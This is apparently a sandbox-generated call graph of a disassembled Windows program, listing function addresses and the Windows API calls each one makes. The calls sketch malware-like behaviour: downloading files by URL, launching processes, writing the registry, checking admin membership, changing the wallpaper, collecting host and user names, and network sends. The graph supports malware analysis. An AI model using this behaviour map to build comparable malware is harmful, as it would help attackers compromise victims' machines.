6199 405a20 6200 405a25 6199->6200 6203 4130bb 6200->6203 6206 41308f 6203->6206 6205 405a4a 6207 4130a4 __dllonexit 6206->6207 6208 413098 _onexit 6206->6208 6207->6205 6208->6205 6217 404620 #795 6218 404638 6217->6218 6219 40462f #825 6217->6219 6219->6218 6190 401220 6191 4012c2 #2379 6190->6191 6192 401233 6190->6192 6193 401243 SendMessageA KillTimer #4853 6192->6193 6194 40126b SendMessageA 6192->6194 6193->6194 6195 401285 SendMessageA 6194->6195 6196 401297 6194->6196 6195->6196 6196->6191 6197 4012a1 SendMessageA 6196->6197 6197->6191 6198 4012b8 6197->6198 6198->6191 5772 409c20 #3797 5773 409c40 #6734 5772->5773 5774 409c36 5772->5774 5775 409c5b SendMessageA 5773->5775 5776 409c78 5773->5776 5775->5776 5777 409ce4 5776->5777 5778 409caa 5776->5778 5779 409cf6 5777->5779 5780 409ce8 InvalidateRect 5777->5780 5781 409cd4 #4284 5778->5781 5782 409cc4 #4284 5778->5782 5780->5779 5781->5779 5782->5779 6446 409b20 6447 409b31 6446->6447 6448 409b33 #6140 6446->6448 6447->6448 6032 409920 6037 4098c0 6032->6037 6035 409938 6036 40992f #825 6036->6035 6038 4098f2 #5875 6037->6038 6039 4098fb 6037->6039 6038->6039 6039->6035 6039->6036 5795 413427 5796 41342c 5795->5796 5799 4133fe #1168 5796->5799 5800 413421 5799->5800 5801 413418 _setmbcp 5799->5801 5801->5800 5805 407c30 OpenClipboard 5806 407c42 GlobalAlloc 5805->5806 5807 407ca9 5805->5807 5808 407c64 EmptyClipboard GlobalLock GlobalUnlock SetClipboardData CloseClipboard 5806->5808 5809 407c5b CloseClipboard 5806->5809 5808->5807 5802 40d830 inet_addr 5803 40d844 gethostbyname 5802->5803 5804 40d84f 5802->5804 5803->5804 5810 404430 5811 40447b 5810->5811 5812 40443d _TrackMouseEvent #2379 5810->5812 5815 404489 5811->5815 5817 404530 5811->5817 5816 4044a1 SetCursor #2379 5815->5816 5818 4045c1 5817->5818 5819 404552 5817->5819 5818->5815 5819->5818 5820 404559 #289 #5789 GetTextExtentPoint32A #5789 #613 5819->5820 5820->5818 6040 406930 #6215 6041 402d30 6042 402d73 #825 6041->6042 6043 402d3f 6041->6043 6044 402d40 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N #825 6043->6044 6044->6044 6045 402d72 6044->6045 6045->6042 6220 405230 6227 405369 6220->6227 6230 40525a 6220->6230 6221 405552 InvalidateRect 6226 405560 6221->6226 6222 405285 6223 4052ee 7 API calls 6222->6223 6224 40528f #4277 #923 #858 #800 #800 6222->6224 6223->6221 6224->6221 6225 40539e 6228 405430 6225->6228 6229 4053aa 7 API calls 6225->6229 6227->6221 6227->6225 6234 405390 #940 6227->6234 6231 4054b4 6228->6231 6232 405435 7 API calls 6228->6232 6229->6221 6230->6222 6233 405277 #940 6230->6233 6235 4054b8 6231->6235 6237 405503 6231->6237 6232->6221 6233->6222 6233->6233 6234->6225 6234->6234 6235->6221 6236 4054de #6778 #6648 6235->6236 6236->6236 6238 405501 6236->6238 6237->6221 6237->6226 6239 405529 #6778 #6648 6237->6239 6238->6221 6239->6221 6239->6239 6240 40d630 6245 40d650 6240->6245 6242 40d638 6243 40d648 6242->6243 6244 40d63f #825 6242->6244 6244->6243 6246 40dad0 4 API calls 6245->6246 6247 40d680 6246->6247 6247->6242 6046 402531 6047 402543 6046->6047 6048 40253c CloseHandle 6046->6048 6049 402555 6047->6049 6050 40254e CloseHandle 6047->6050 6048->6047 6050->6049 6248 40ca3a 6251 40ca40 6248->6251 6249 40ca81 6250 40ca87 #825 6250->6249 6251->6249 6251->6250 5821 4068c0 #4837 6252 4032c0 6 API calls 6253 403334 SendMessageA #3092 6252->6253 6255 40335c SendMessageA #3092 6253->6255 6257 40337b SendMessageA #3092 6255->6257 6259 4033a0 SendMessageA 6257->6259 6260 40339d 6257->6260 6263 403cb0 FindFirstFileA 6259->6263 6260->6259 6262 4033b2 SendMessageA #3996 SendMessageA 6264 403cd9 6263->6264 6265 403ce3 6263->6265 6264->6262 6266 403e1f FindNextFileA 6265->6266 6268 403d14 sscanf 6265->6268 6266->6265 6267 403e3a FindClose 6266->6267 6267->6262 6268->6266 6269 403d38 fopen 6268->6269 6269->6266 6270 403d5c fread 6269->6270 6271 403e15 fclose 6270->6271 6275 403d7b 6270->6275 6271->6266 6272 403d8f sprintf 6273 403dd4 SendMessageA #823 SendMessageA 6272->6273 6273->6271 6275->6271 6275->6272 6275->6273 6276 401c30 inet_ntoa 6275->6276 6276->6275 6449 4043c0 #6453 #2414 6450 409fc0 TextOutA 4642 4064d0 #4710 SendMessageA SendMessageA 4686 401c70 wcscat 4642->4686 4644 406516 4645 406577 4644->4645 4646 40651d GetModuleFileNameA strrchr 4644->4646 4695 401a10 4645->4695 4647 40656c SetCurrentDirectoryA 4646->4647 4648 40655d strrchr 4646->4648 4647->4645 4648->4647 4650 406585 4651 4065e5 4650->4651 4652 40658c time 4650->4652 4705 402c40 4651->4705 4653 401a10 5 API calls 4652->4653 4653->4651 4655 4065ed __p___argc 4656 406606 4655->4656 4657 40678c 4656->4657 4658 40660f __p___argv 4656->4658 4753 407e80 SHGetFolderPathW wcslen 4657->4753 4660 406621 4658->4660 4663 406661 __p___argv 4660->4663 4664 406652 4660->4664 4661 406793 SetWindowTextW 4756 406f80 4661->4756 4667 40666d 4663->4667 4729 407f80 fopen 4664->4729 4665 4067a9 4814 406c20 GetUserDefaultLangID GetLocaleInfoA 4665->4814 4671 4066ad __p___argv 4667->4671 4672 40669e 4667->4672 4670 4067b0 SetTimer SetTimer 4674 4066b9 4671->4674 4711 4080c0 FindFirstFileA 4672->4711 4674->4657 4677 4066ee Sleep 4674->4677 4739 401bb0 AllocateAndInitializeSid 4677->4739 4679 406734 4680 406750 sprintf 4679->4680 4681 406738 4679->4681 4745 401a90 CreateProcessA 4680->4745 4744 401b50 ShellExecuteExA 4681->4744 4684 40674b ExitProcess 4687 401cdc 4686->4687 4688 401d00 RegCreateKeyW 4687->4688 4689 401d62 RegQueryValueExA 4687->4689 4690 401d1d GetCurrentDirectoryA RegSetValueExA 4687->4690 4691 401dbb 4687->4691 4688->4687 4692 401d9e RegCloseKey 4689->4692 4693 401d90 SetCurrentDirectoryA 4689->4693 4690->4692 4691->4644 4692->4687 4694 401dc8 4692->4694 4693->4692 4694->4644 4696 401a1a fopen 4695->4696 4698 401a3a 4696->4698 4699 401a6f 4696->4699 4700 401a53 fwrite 4698->4700 4701 401a46 fread 4698->4701 4699->4650 4702 401a5e 4700->4702 4701->4702 4703 401a74 fclose 4702->4703 4704 401a66 fclose 4702->4704 4703->4650 4704->4699 4823 404b70 4705->4823 4707 402c46 4708 402c57 4707->4708 4709 402c5e LoadLibraryA 4707->4709 4708->4655 4709->4708 4710 402c73 7 API calls 4709->4710 4710->4708 4712 40820a 4711->4712 4724 408124 4711->4724 4828 401e30 4712->4828 4715 4081e4 FindNextFileA 4716 4081ff FindClose 4715->4716 4715->4724 4716->4712 4717 401e30 2 API calls 4719 408255 sprintf #537 4717->4719 4718 408158 sscanf 4718->4715 4720 408178 fopen 4718->4720 4833 4082c0 4719->4833 4720->4715 4722 408190 fread 4720->4722 4722->4724 4725 4081bd fclose 4722->4725 4724->4715 4724->4718 4724->4725 4725->4715 4725->4724 4726 408291 #537 4728 4082c0 141 API calls 4726->4728 4727 4066a5 ExitProcess 4728->4727 4730 407fd0 fread fclose 4729->4730 4738 406659 ExitProcess 4729->4738 5202 40be90 strncpy strncpy strncpy 4730->5202 4732 408002 5203 40c4f0 4732->5203 4734 40801d 4735 40c4f0 112 API calls 4734->4735 4736 408041 4734->4736 4735->4736 4737 401a10 5 API calls 4736->4737 4736->4738 4737->4738 4740 401bf6 4739->4740 4741 401bfb CheckTokenMembership 4739->4741 4740->4679 4742 401c10 4741->4742 4743 401c14 FreeSid 4741->4743 4742->4743 4743->4679 4744->4684 4746 401b45 4745->4746 4747 401aed 4745->4747 4746->4684 4748 401af5 WaitForSingleObject 4747->4748 4749 401b26 CloseHandle CloseHandle 4747->4749 4750 401b12 4748->4750 4751 401b05 TerminateProcess 4748->4751 4749->4684 4750->4749 4752 401b1a GetExitCodeProcess 4750->4752 4751->4750 4752->4749 4754 407f02 4753->4754 4755 407f09 swprintf MultiByteToWideChar CopyFileW SystemParametersInfoW 4753->4755 4754->4661 4755->4661 5217 4076a0 4756->5217 4758 406fa8 27 API calls 4759 407119 4758->4759 4760 40711c SendMessageA #3092 4758->4760 4759->4760 4761 40713d SendMessageA #3092 4760->4761 4763 40715f SendMessageA #3092 4761->4763 4765 407181 SendMessageA #3092 4763->4765 4767 4071a3 SendMessageA #3092 4765->4767 4769 4071c5 SendMessageA #3092 4767->4769 4771 4071e7 4769->4771 4772 4071ea SendMessageA #3092 4769->4772 4771->4772 4773 407205 SendMessageA #3092 4772->4773 4775 407227 SendMessageA #3092 4773->4775 4777 407249 SendMessageA #3092 4775->4777 4779 40726b 4777->4779 4780 40726e SendMessageA #860 4777->4780 4779->4780 4781 4072a4 4780->4781 4782 4072ed #537 4781->4782 5233 404210 #858 #800 4782->5233 4784 407309 #537 5234 404210 #858 #800 4784->5234 4786 407325 #540 #2818 #535 5235 404210 #858 #800 4786->5235 4788 407369 5236 404270 4788->5236 4792 4073a8 SendMessageA SendMessageA #6140 #6140 4793 407428 4792->4793 5240 405920 4793->5240 4797 407457 5248 4058c0 4797->5248 4799 407460 5251 405180 _mbscmp 4799->5251 4801 407477 4802 405920 2 API calls 4801->4802 4803 4074ac 4802->4803 4804 405860 2 API calls 4803->4804 4805 4074b5 4804->4805 4806 4058c0 2 API calls 4805->4806 4807 4074be 4806->4807 4808 405180 4 API calls 4807->4808 4809 4074d5 GetTimeZoneInformation 4808->4809 5257 401e60 VariantTimeToSystemTime 4809->5257 4811 407508 SystemTimeToTzSpecificLocalTime #2818 5258 401e60 VariantTimeToSystemTime 4811->5258 4813 40759b SystemTimeToTzSpecificLocalTime #2818 #6334 #800 4813->4665 4815 406c81 SendMessageA 4814->4815 4816 406c5d 4814->4816 4817 406cc1 SendMessageA 4815->4817 4818 406ca1 SendMessageA 4815->4818 4816->4815 4820 406ae0 27 API calls 4817->4820 5265 406ae0 8 API calls 4818->5265 4821 406cdd 4820->4821 4821->4670 4822 406cba 4822->4670 4824 404b81 LoadLibraryA 4823->4824 4825 404b7a 4823->4825 4826 404b96 6 API calls 4824->4826 4827 404bf6 4824->4827 4825->4707 4826->4827 4827->4707 4860 401e60 VariantTimeToSystemTime 4828->4860 4830 401e42 4861 401de0 sprintf 4830->4861 4832 401e51 4832->4717 4834 408337 4833->4834 4835 4082fb #4278 #858 #800 4833->4835 4836 408344 4834->4836 4837 408378 time 4834->4837 4835->4834 4838 408359 #800 4836->4838 4839 40834d #1200 4836->4839 4840 40839c 4837->4840 4841 40844d time 4837->4841 4842 40828c 4838->4842 4839->4838 4840->4841 4843 4083a9 4840->4843 4841->4843 4844 408466 4841->4844 4842->4726 4842->4727 4845 4083bb 4843->4845 4846 40846c fopen 4843->4846 4844->4846 4847 4083c4 #540 time #2818 #1200 #800 4845->4847 4848 40842e #800 4845->4848 4849 4084b5 fread fclose 4846->4849 4850 408496 #800 4846->4850 4847->4848 4848->4842 4862 40be90 strncpy strncpy strncpy 4849->4862 4850->4842 4852 4084e7 4863 40c060 4852->4863 4854 408501 4855 408516 4854->4855 4856 408538 4854->4856 4857 408549 #800 4855->4857 4858 40851a #1200 time 4855->4858 4856->4857 4859 40853c #1200 4856->4859 4857->4842 4858->4857 4859->4857 4860->4830 4861->4832 4862->4852 4864 40c07f 4863->4864 4890 40bed0 4864->4890 4866 40c0ba 4867 40c0c1 4866->4867 4868 40c0e7 4866->4868 4869 40c0cc SendMessageA 4867->4869 4887 40c0db 4867->4887 4870 40c104 4868->4870 4871 40c0f8 SendMessageA 4868->4871 4869->4887 4909 40dd00 4870->4909 4871->4870 4873 40dbf0 free 4874 40c173 4873->4874 4874->4854 4875 40c116 4876 40c144 4875->4876 4877 40c17b 4875->4877 4878 40c154 4876->4878 4879 40c148 SendMessageA 4876->4879 4880 40c18b 4877->4880 4881 40c17f SendMessageA 4877->4881 4912 40dbf0 4878->4912 4879->4878 4883 40c1b4 4880->4883 4884 40c1e8 4880->4884 4881->4880 4885 40c1c4 4883->4885 4886 40c1b8 SendMessageA 4883->4886 4884->4887 4888 40c1f5 SendMessageA 4884->4888 4889 40dbf0 free 4885->4889 4886->4885 4887->4873 4888->4887 4889->4874 4891 40bef5 4890->4891 4892 40bf0a #823 4890->4892 4891->4892 4893 40bf2e 4892->4893 4894 40bf27 4892->4894 4896 40bf46 4893->4896 4920 40baf0 4893->4920 4916 40d5e0 4894->4916 4896->4866 4899 40bf72 4899->4866 4900 40bf8a GetComputerNameA GetUserNameA 4952 40dc00 4900->4952 4903 40dd00 4 API calls 4904 40c01f 4903->4904 4905 40dc00 4 API calls 4904->4905 4906 40c038 4905->4906 4907 40dd00 4 API calls 4906->4907 4908 40c047 4907->4908 4908->4866 4910 40dc00 4 API calls 4909->4910 4911 40dd1c 4910->4911 4911->4875 4913 40dd70 4912->4913 4914 40dd8b 4913->4914 5198 412ac0 4913->5198 4914->4874 4917 40d602 4916->4917 4961 40dad0 4917->4961 4964 40ba10 4920->4964 4922 40bdf5 4922->4899 4922->4900 4923 40bb14 4923->4922 4924 40bb42 4923->4924 4969 40ba60 4923->4969 4924->4922 4973 40c8f0 #823 4924->4973 4928 40bc1b strtok 4932 40bc30 4928->4932 4943 40bbb7 4928->4943 4929 40ba60 closesocket 4931 40bc8b 4929->4931 4933 40bc92 4931->4933 4934 40bcec GetTickCount srand 4931->4934 4932->4929 4932->4934 4995 40c860 4933->4995 4937 40bdc7 4934->4937 4938 40bd07 rand 4934->4938 4940 40c860 2 API calls 4937->4940 4948 40bd1e 4938->4948 4939 40bcd8 #825 4939->4922 4942 40bde8 #825 4940->4942 4942->4922 4943->4928 4945 40c7b0 #825 4943->4945 4975 40c7b0 4943->4975 4979 40c920 4943->4979 4991 40c800 #823 4943->4991 4944 40ba60 closesocket 4944->4948 4945->4928 4946 40be75 #825 4946->4922 4947 40be11 4947->4946 5007 40c740 4947->5007 4948->4944 4948->4947 5001 40ce50 4948->5001 4953 40dc15 4952->4953 4959 40c013 4952->4959 4954 40dc77 4953->4954 4955 40dc49 4953->4955 4953->4959 5197 412aa0 realloc 4954->5197 5196 412a90 malloc 4955->5196 4958 40dc51 4958->4959 4960 40dc8d ??0exception@@QAE@ABQBD _CxxThrowException 4958->4960 4959->4903 4960->4959 4962 40d61e 4961->4962 4963 40dadf setsockopt send shutdown closesocket 4961->4963 4962->4893 4963->4962 4965 40ba27 4964->4965 4966 40ba2b 4965->4966 5012 40b840 sprintf GetFileAttributesA 4965->5012 4966->4923 4968 40ba31 4968->4923 4970 40ba88 4969->4970 5132 40d8c0 4970->5132 4974 40bb62 strtok 4973->4974 4974->4932 4974->4943 4976 40c7d0 4975->4976 4977 40c7bb 4975->4977 4976->4943 4977->4976 4978 40c7d6 #825 4977->4978 4978->4976 4980 40c932 4979->4980 4981 40c92d ?_Xlen@std@ 4979->4981 4982 40c973 4980->4982 4983 40c963 4980->4983 4984 40c946 4980->4984 4981->4980 4987 40c990 4982->4987 4988 40c7b0 #825 4982->4988 4985 40c7b0 #825 4983->4985 4989 40c94a 4984->4989 5136 40c9c0 4984->5136 4986 40c96c 4985->4986 4986->4943 4987->4943 4988->4984 4989->4943 4992 40c81f 4991->4992 5142 40cad0 4992->5142 4994 40c844 4994->4943 4996 40c8d9 4995->4996 4998 40c870 4995->4998 4996->4939 4997 40c8ab #825 4997->4998 5000 40c8cc 4997->5000 4998->4997 4999 40c8a2 #825 4998->4999 4999->4997 5000->4939 5002 40ce68 5001->5002 5003 40ce5a 5001->5003 5005 40ce94 #825 5002->5005 5006 40bd9e #825 Sleep 5002->5006 5003->5002 5004 40ce6e #825 5003->5004 5004->5002 5005->5006 5006->4937 5006->4938 5008 40c761 5007->5008 5009 40c77e #825 5007->5009 5010 40c775 #825 5008->5010 5011 40c76f 5008->5011 5009->4947 5010->5009 5011->5009 5013 40b898 5012->5013 5014 40b95b CreateProcessA 5012->5014 5029 40b6a0 CreateDirectoryA 5013->5029 5016 40b9b4 5014->5016 5017 40b9bf WaitForSingleObject 5014->5017 5016->4968 5018 40b9e4 CloseHandle CloseHandle 5017->5018 5019 40b9d8 WaitForSingleObject 5017->5019 5018->4968 5019->5018 5020 40b8a9 5021 40b8e9 sprintf GetFileAttributesA 5020->5021 5043 40b780 CreateDirectoryA 5020->5043 5023 40b946 CopyFileA 5021->5023 5024 40b93b 5021->5024 5023->5014 5024->4968 5025 40b8c1 5025->5021 5026 40b780 60 API calls 5025->5026 5027 40b8d9 5026->5027 5027->5021 5028 40b8e0 5027->5028 5028->4968 5051 412920 5029->5051 5032 40b6d8 DeleteFileA 5032->5020 5033 40b6ec 5054 412940 5033->5054 5035 40b70e 5036 40b719 5035->5036 5037 40b76a 5035->5037 5039 412940 14 API calls 5035->5039 5036->5020 5063 412a00 5037->5063 5041 40b738 sprintf 5039->5041 5040 40b770 5040->5020 5060 4129e0 5041->5060 5044 40b81b 5043->5044 5045 40b7ae GetTempFileNameA DeleteUrlCacheEntry URLDownloadToFileA 5043->5045 5044->5025 5046 40b810 DeleteFileA 5045->5046 5047 40b7f6 5045->5047 5046->5044 5048 40b6a0 54 API calls 5047->5048 5049 40b809 5048->5049 5049->5046 5050 40b827 DeleteFileA 5049->5050 5050->5025 5074 4127e0 #823 5051->5074 5053 40b6cf 5053->5032 5053->5033 5055 412964 5054->5055 5056 412959 5054->5056 5057 412969 5055->5057 5087 411cf0 5055->5087 5056->5035 5057->5035 5059 412982 5059->5035 5120 412990 5060->5120 5062 4129f8 5062->5035 5064 412a15 5063->5064 5065 412a09 5063->5065 5066 412a1a 5064->5066 5126 4127a0 5064->5126 5065->5040 5066->5040 5069 412a7d #825 5069->5040 5070 412a44 #825 5071 412a4d 5070->5071 5072 412a61 #825 5071->5072 5073 412a6a #825 5071->5073 5072->5073 5073->5069 5075 412815 5074->5075 5076 41287a 5074->5076 5075->5076 5077 41283d #823 5075->5077 5078 411c00 15 API calls 5076->5078 5077->5076 5079 41289d 5078->5079 5080 4128a6 5079->5080 5081 4128f8 #823 5079->5081 5082 4128e5 5080->5082 5083 4128b4 #825 5080->5083 5084 4128bd 5080->5084 5081->5053 5082->5053 5083->5084 5085 4128d6 #825 5084->5085 5086 4128cd #825 5084->5086 5085->5082 5086->5085 5088 412231 5087->5088 5089 411d11 5087->5089 5088->5059 5089->5088 5090 411ac0 free free 5089->5090 5093 411d27 5089->5093 5090->5093 5091 411d37 5091->5059 5092 411dc2 5094 411ddc 5092->5094 5096 4113e0 SetFilePointer SetFilePointer ReadFile 5092->5096 5093->5091 5093->5092 5095 411390 SetFilePointer SetFilePointer ReadFile 5093->5095 5097 411350 SetFilePointer SetFilePointer ReadFile 5094->5097 5095->5092 5096->5092 5098 411dfe 5097->5098 5099 411460 SetFilePointer SetFilePointer ReadFile 5098->5099 5100 411e15 5099->5100 5101 411e1c 5100->5101 5102 410a50 SetFilePointer SetFilePointer 5100->5102 5101->5059 5103 411e3e 5102->5103 5104 411e45 5103->5104 5105 411e56 #823 5103->5105 5104->5059 5106 410af0 ReadFile 5105->5106 5107 411e78 5106->5107 5108 411e83 #825 5107->5108 5109 411e9d _mbsstr 5107->5109 5108->5059 5111 411f15 _mbsstr 5109->5111 5111->5109 5112 411f2c _mbsstr 5111->5112 5112->5109 5113 411f43 _mbsstr 5112->5113 5113->5109 5114 411f5a 5113->5114 5115 411b80 SystemTimeToFileTime 5114->5115 5116 412063 LocalFileTimeToFileTime 5115->5116 5119 4120b6 5116->5119 5117 412203 5117->5059 5118 4121fa #825 5118->5117 5119->5117 5119->5118 5121 4129a3 5120->5121 5122 412998 5120->5122 5123 4129a8 5121->5123 5124 412360 28 API calls 5121->5124 5122->5062 5123->5062 5125 4129cf 5124->5125 5125->5062 5127 4127b1 5126->5127 5128 4127a9 5126->5128 5130 4127c7 5127->5130 5131 410f70 CloseHandle #825 free free free 5127->5131 5129 411ac0 free free 5128->5129 5129->5127 5130->5069 5130->5070 5130->5071 5131->5130 5134 40d8ec 5132->5134 5133 40daad closesocket 5135 40baa8 5133->5135 5134->5133 5134->5135 5135->4924 5137 40c9f6 #823 5136->5137 5141 40ca40 5137->5141 5139 40ca81 5139->4987 5140 40ca87 #825 5140->5139 5141->5139 5141->5140 5143 40cbf3 5142->5143 5144 40cb00 5142->5144 5143->4994 5145 40cb26 5144->5145 5151 40cb90 5144->5151 5146 40cb31 5145->5146 5147 40cb2c ?_Xran@std@ 5145->5147 5161 40cd80 5146->5161 5147->5146 5148 40cbe9 5150 40cc60 5 API calls 5148->5150 5150->5143 5151->5148 5153 40cbaa 5151->5153 5152 40cb38 5155 40cb6a 5152->5155 5156 40cb47 memmove 5152->5156 5154 40c7b0 #825 5153->5154 5157 40cbb3 5154->5157 5159 40cd80 4 API calls 5155->5159 5178 40cc60 5156->5178 5157->4994 5160 40cb7d 5159->5160 5160->4994 5162 40cd93 5161->5162 5163 40ce27 5161->5163 5162->5163 5164 40cdd0 5162->5164 5165 40cdc9 ?_Xlen@std@ 5162->5165 5163->5152 5166 40cdf8 5164->5166 5169 40cde2 5164->5169 5165->5164 5167 40ce0a 5166->5167 5168 40cdfc 5166->5168 5167->5163 5174 40c7b0 #825 5167->5174 5170 40c7b0 #825 5168->5170 5171 40cde6 5169->5171 5172 40ce1f 5169->5172 5173 40ce05 5170->5173 5175 40c7b0 #825 5171->5175 5176 40c9c0 2 API calls 5172->5176 5173->5152 5174->5172 5177 40cdf3 5175->5177 5176->5163 5177->5152 5179 40cc73 5178->5179 5180 40cc6e ?_Xlen@std@ 5178->5180 5181 40cd04 5179->5181 5182 40cc88 5179->5182 5183 40ccae 5179->5183 5180->5179 5181->5182 5188 40cd08 5181->5188 5184 40cc90 5182->5184 5187 40c9c0 2 API calls 5182->5187 5186 40ccd9 #825 5183->5186 5190 40ccc4 5183->5190 5184->5155 5185 40cd4c 5191 40c9c0 2 API calls 5185->5191 5186->5190 5187->5184 5188->5184 5188->5185 5189 40cd43 #825 5188->5189 5192 40cd26 5188->5192 5189->5185 5190->5155 5193 40cd5d 5191->5193 5194 40c9c0 2 API calls 5192->5194 5193->5155 5195 40cd3b 5194->5195 5195->5155 5196->4958 5197->4958 5199 412af5 5198->5199 5200 412ac8 free 5198->5200 5199->4914 5200->5199 5202->4732 5204 40c50f 5203->5204 5205 40bed0 110 API calls 5204->5205 5206 40c54b 5205->5206 5207 40c596 5206->5207 5208 40dd00 4 API calls 5206->5208 5209 40dbf0 free 5207->5209 5211 40c568 5208->5211 5210 40c5e7 5209->5210 5210->4734 5211->5207 5212 40c600 5211->5212 5213 40c635 5212->5213 5214 40c617 strncpy 5212->5214 5215 40dbf0 free 5213->5215 5214->5213 5216 40c650 5215->5216 5216->4734 5218 4076d9 time 5217->5218 5220 4076d7 5218->5220 5219 407771 sprintf 5219->5220 5220->5218 5220->5219 5221 405180 4 API calls 5220->5221 5222 407842 SendMessageA SendMessageA #540 5220->5222 5221->5220 5223 407894 5222->5223 5224 4078aa _ftol #2818 #2818 5223->5224 5225 4078db #2818 #2818 5223->5225 5226 407911 #3092 #6199 5224->5226 5225->5226 5227 407990 #800 5226->5227 5228 407940 5226->5228 5227->4758 5228->5227 5229 407952 InvalidateRect 5228->5229 5230 405920 2 API calls 5229->5230 5231 407978 5230->5231 5232 405920 2 API calls 5231->5232 5232->5227 5233->4784 5234->4786 5235->4788 5259 4044c0 5236->5259 5239 404210 #858 #800 5239->4792 5263 405950 InvalidateRect 5240->5263 5242 40592d 5264 405970 InvalidateRect 5242->5264 5244 40593e 5245 405860 5244->5245 5246 405872 5245->5246 5247 405875 GetClientRect #6197 5245->5247 5246->5247 5247->4797 5249 4058d2 5248->5249 5250 4058d5 GetClientRect #6197 5248->5250 5249->5250 5250->4799 5252 4051f8 5251->5252 5253 40519e #860 5251->5253 5252->4801 5254 4051b1 5253->5254 5255 4051d1 RedrawWindow 5254->5255 5256 4051ea InvalidateRect 5254->5256 5255->4801 5256->5252 5257->4811 5258->4813 5260 4044f8 GetObjectA CreateFontIndirectA #1641 5259->5260 5261 4044ce GetParent #2864 SendMessageA #2860 5259->5261 5262 40427a #2818 #535 5260->5262 5261->5260 5261->5262 5262->5239 5263->5242 5264->5244 5266 406b88 #537 #924 sprintf #800 #800 5265->5266 5267 406bda 5265->5267 5266->5267 5270 406cf0 5267->5270 5269 406be6 #800 5269->4822 5271 406d16 5270->5271 5272 406d19 SendMessageA #353 SendMessageA #1979 5270->5272 5271->5272 5275 406dc0 SendMessageA #823 5272->5275 5276 406e00 SendMessageA 5275->5276 5277 406d7b #665 5275->5277 5279 406ed2 #825 5276->5279 5280 406e2f _strnicmp 5276->5280 5277->5269 5279->5277 5281 406e4b _strnicmp 5280->5281 5282 406e67 5280->5282 5281->5282 5282->5279 5282->5280 5283 406e87 SendMessageA #6136 5282->5283 5283->5282 5822 404cd0 5827 404cf0 #2414 #2414 #800 #641 5822->5827 5824 404cd8 5825 404ce8 5824->5825 5826 404cdf #825 5824->5826 5826->5825 5827->5824 5386 40bed0 5387 40bef5 5386->5387 5388 40bf0a #823 5386->5388 5387->5388 5389 40bf2e 5388->5389 5390 40bf27 5388->5390 5392 40bf46 5389->5392 5393 40baf0 99 API calls 5389->5393 5391 40d5e0 4 API calls 5390->5391 5391->5389 5394 40bf6b 5393->5394 5395 40bf72 5394->5395 5396 40bf8a GetComputerNameA GetUserNameA 5394->5396 5397 40dc00 4 API calls 5396->5397 5398 40c013 5397->5398 5399 40dd00 4 API calls 5398->5399 5400 40c01f 5399->5400 5401 40dc00 4 API calls 5400->5401 5402 40c038 5401->5402 5403 40dd00 4 API calls 5402->5403 5404 40c047 5403->5404 6051 4019d0 EnableWindow 6052 4059d0 #561 6053 404dd0 6 API calls 6054 404e3b SendMessageA #3092 6053->6054 6056 404e60 SendMessageA #3092 6054->6056 6058 404e93 SendMessageA 6056->6058 6059 404e7f SendMessageA 6056->6059 6451 40dbd0 6452 40dbf0 free 6451->6452 6453 40dbd8 6452->6453 6454 40dbe8 6453->6454 6455 40dbdf #825 6453->6455 6455->6454 5427 4102d0 free 5828 4130d4 ??1type_info@@UAE 5829 4130e3 #825 5828->5829 5830 4130ea 5828->5830 5829->5830 5831 4068e0 5832 4068ef 5831->5832 5833 40691a #5280 5832->5833 5834 4068fc 5832->5834 5835 40a0e0 Escape 5425 4043e0 #4284 #3874 #5277 6277 4086e0 #470 GetClientRect SendMessageA #6734 #323 6278 408765 6277->6278 6279 408838 6278->6279 6282 4087bd CreateCompatibleDC #1640 6278->6282 6280 408885 #2754 6279->6280 6281 408869 FillRect 6279->6281 6283 408897 #2381 6280->6283 6281->6283 6309 409e70 CreateCompatibleBitmap #1641 6282->6309 6286 4088b4 6283->6286 6287 408a7d 6283->6287 6286->6287 6289 4088be #3797 6286->6289 6291 409f80 BitBlt 6287->6291 6305 408a5e 6287->6305 6288 408809 6310 409f10 6288->6310 6292 408901 _ftol 6289->6292 6294 408abe 6291->6294 6299 40895e _ftol 6292->6299 6301 40897e 6292->6301 6293 408817 #6194 6293->6279 6296 408ad5 #5785 6294->6296 6297 408ac6 #5785 6294->6297 6296->6305 6297->6305 6299->6301 6300 408afe #640 #755 6302 4089a7 FillRect 6301->6302 6303 4089b8 FillRect 6301->6303 6304 4089ca 6301->6304 6302->6304 6303->6304 6304->6305 6313 409f80 6304->6313 6316 409e20 #2414 6305->6316 6307 408a50 6308 409f10 2 API calls 6307->6308 6308->6305 6309->6288 6311 409f25 #5785 6310->6311 6312 409f18 #5785 6310->6312 6311->6293 6312->6293 6314 409f88 6313->6314 6315 409f8b BitBlt 6313->6315 6314->6315 6315->6307 6316->6300 6317 40c6e0 6318 40c722 #825 6317->6318 6319 40c6ef 6317->6319 6320 40c7b0 #825 6319->6320 6321 40c70d #825 6320->6321 6321->6319 6322 40c721 6321->6322 6322->6318 6469 40cfe0 6476 40d4c0 6469->6476 6471 40cffb 6472 40d4c0 4 API calls 6471->6472 6475 40d05e 6471->6475 6473 40d031 6472->6473 6474 40d4c0 4 API calls 6473->6474 6473->6475 6474->6475 6477 40d4d0 6476->6477 6478 40d4d9 6476->6478 6477->6471 6479 40d4e4 6478->6479 6480 40d4ee time 6478->6480 6479->6471 6481 40d575 6480->6481 6484 40d50a 6480->6484 6482 40d58a 6481->6482 6483 40d2b0 memmove 6481->6483 6482->6471 6483->6482 6484->6481 6485 40d569 time 6484->6485 6486 40d551 Sleep 6484->6486 6485->6481 6485->6484 6486->6484 6460 404fe0 #6334 6461 404ff4 #4853 6460->6461 6462 404ffb 6460->6462 6461->6462 6072 405df0 6077 405d90 #654 #765 6072->6077 6074 405df8 6075 405e08 6074->6075 6076 405dff #825 6074->6076 6076->6075 6077->6074 5836 4090f0 5837 409124 #540 #3874 5836->5837 5838 40971e 5836->5838 5839 409185 5837->5839 5840 40915e 5837->5840 5842 40919c _ftol 5839->5842 5843 40918e #860 5839->5843 5841 40917c 5840->5841 5844 40916e #860 5840->5844 5845 4091d5 SendMessageA #2860 5841->5845 5846 40970a #800 5841->5846 5842->5841 5843->5842 5844->5841 5847 409208 5845->5847 5846->5838 5862 409870 5847->5862 5849 409232 #5875 #6170 GetWindowOrgEx #540 #2818 5851 409329 GetObjectA 5849->5851 5852 40935b GetTextExtentPoint32A 5849->5852 5851->5852 5854 40938b GetViewportOrgEx 5852->5854 5858 409411 5854->5858 5855 409630 #800 5856 409662 5855->5856 5857 40965a #6170 